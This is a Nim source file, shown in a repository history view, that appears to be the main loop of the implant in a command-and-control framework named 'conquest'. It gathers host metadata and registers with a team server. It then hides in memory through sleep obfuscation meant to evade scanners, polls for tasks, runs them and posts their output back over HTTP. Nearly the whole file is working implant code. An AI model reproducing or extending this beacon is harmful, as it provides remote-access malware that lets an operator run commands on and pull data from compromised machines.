Files
conquest/src/agent/main.nim

81 lines
2.7 KiB
Nim
Raw Normal View History

import strformat, os, times, system, base64, random
2025-05-19 21:56:34 +02:00
import core/[http, context, sleepmask]
import utils/io
import protocol/[task, result, heartbeat, registration]
import ../common/[types, utils, crypto]
2025-05-19 21:56:34 +02:00
proc main() =
randomize()
2025-05-19 21:56:34 +02:00
# Initialize agent context
var ctx = AgentCtx.init()
if ctx == nil:
quit(0)
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
2025-05-19 21:56:34 +02:00
#[
Agent routine:
1. Register to the team server if not already register
2. Sleep Obfuscation
3. Retrieve tasks via checkin request to a GET endpoint
4. Execute task and post result
5. If additional tasks have been fetched, go to 3.
6. If no more tasks need to be executed, go to 1.
2025-05-19 21:56:34 +02:00
]#
while true:
# Sleep obfuscation to evade memory scanners
2025-10-23 11:14:26 +02:00
sleepObfuscate(ctx.sleepSettings)
# Register
if not ctx.registered:
if ctx.httpPost(registrationBytes):
print fmt"[+] [{ctx.agentId}] Agent registered."
ctx.registered = true
else:
print "[-] Agent registration failed."
continue
2025-05-19 21:56:34 +02:00
let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss"))
print "\n", fmt"[*] [{date}] Checking in."
2025-05-19 21:56:34 +02:00
2025-07-26 18:20:54 +02:00
try:
# Retrieve task queue for the current agent by sending a check-in/heartbeat request
# The check-in request contains the agentId and listenerId, so the server knows which tasks to return
var heartbeat: Heartbeat = ctx.createHeartbeat()
2025-07-26 18:20:54 +02:00
let
heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat)
packet: string = ctx.httpGet(heartbeatBytes)
2025-05-19 21:56:34 +02:00
2025-07-26 18:20:54 +02:00
if packet.len <= 0:
print "[*] No tasks to execute."
2025-07-26 18:20:54 +02:00
continue
let tasks: seq[Task] = ctx.deserializePacket(packet)
2025-07-26 18:20:54 +02:00
if tasks.len <= 0:
print "[*] No tasks to execute."
2025-07-26 18:20:54 +02:00
continue
2025-07-26 18:20:54 +02:00
# Execute all retrieved tasks and return their output to the server
for task in tasks:
var result: TaskResult = ctx.handleTask(task)
let resultBytes: seq[byte] = ctx.serializeTaskResult(result)
ctx.httpPost(resultBytes)
2025-07-26 18:20:54 +02:00
except CatchableError as err:
print "[-] ", err.msg
2025-09-03 19:38:22 +02:00
2025-08-28 19:00:34 +02:00
when isMainModule:
2025-05-19 21:56:34 +02:00
main()